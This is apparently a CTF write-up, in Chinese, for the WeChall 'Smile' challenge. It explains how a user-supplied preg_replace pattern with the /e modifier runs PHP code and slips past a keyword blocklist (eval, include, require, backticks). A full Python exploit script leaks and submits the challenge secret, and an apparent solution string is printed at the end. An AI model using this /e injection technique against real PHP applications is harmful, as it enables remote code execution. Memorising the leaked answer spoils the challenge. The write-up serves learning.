WeChall - Smile

Challenge

WeChall 邀请用户帮忙添加新表情(smiley)到 bb_decoder。提交表单需要提供正则 pattern 和替换路径。源码文件为 smile.phpLIVIN_Smile.php

Source Analysis

LIVIN_Smile.php 中的核心函数:

1
2
3
4
public static function replaceSmiley($smiley, $path, $text)
{
return preg_replace($smiley, $path, $text);
}

$smiley(用户输入的 pattern)直接被传入 preg_replace()。如果 pattern 包含 /e 修饰符,preg_replace 会把 $path(替换字符串)当作 PHP 代码执行。PHP 5.5 起废弃了 /e,并在 PHP 7.0 移除,因为它极易导致代码注入。

solution 以常量形式定义在 smile.php

1
define('LIVINSKULL_SMILEY_SOLUTION', LIVIN_Smile::getSolution());

通过 LIVIN_Smile::getSolution() 返回一个 32 位随机字符串,存储在 session 中。

Exploit

secure.phpfilename 字段做了过滤:禁止 $(`GWFCommonincluderequireeval 等关键字。但常量名 LIVINSKULL_SMILEY_SOLUTION 不包含任何被禁字符,可以直接通过检查。

攻击步骤:

  1. GET smile.php 获取 CSRF token
  2. POST 到 smile.php,pattern 为 /.*/e(启用 eval),filename 为 LIVINSKULL_SMILEY_SOLUTION(PHP 常量名)
  3. testSmiley() 调用 preg_replace('/.*/e', 'LIVINSKULL_SMILEY_SOLUTION', $text)/e 使 LIVINSKULL_SMILEY_SOLUTION 被当作 PHP 代码执行,返回常量值(32 位 solution 字符串)
  4. 测试输出框中直接显示 solution
  5. looksHarmless() 检查会失败,但 solution 已经泄露
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests, re

BASE = 'http://www.wechall.net/en/challenge/livinskull/smile'
COOKIE = {'WC': 'your_cookie_here'}

s = requests.Session()
s.cookies.update(COOKIE)

# Step 1: Get CSRF token
r = s.get(f'{BASE}/smile.php')
csrf = re.search(r'gwf3_csrf" value="([^"]+)"', r.text).group(1)

# Step 2: Exploit /e modifier to leak solution
r = s.post(f'{BASE}/smile.php', data={
'pattern': '/.*/e',
'filename': 'LIVINSKULL_SMILEY_SOLUTION',
'add': 'Add',
'gwf3_csrf': csrf,
})
# Solution appears in test output box (repeated twice)
solution = re.search(r'[A-Za-z0-9]{32}', r.text).group()
print(f'Solution: {solution}')

# Step 3: Submit solution
r2 = s.get(f'{BASE}/index.php')
csrf2 = re.search(r'gwf3_csrf" value="([^"]+)"', r2.text).group(1)
r3 = s.post(f'{BASE}/index.php', data={
'answer': solution,
'solve': 'Submit',
'gwf3_csrf': csrf2,
})
if 'already solved' in r3.text.lower() or 'correct' in r3.text.lower():
print('✅ Solved!')
26HBWfURiuNwk9VHErLQeXKOdj2rSctO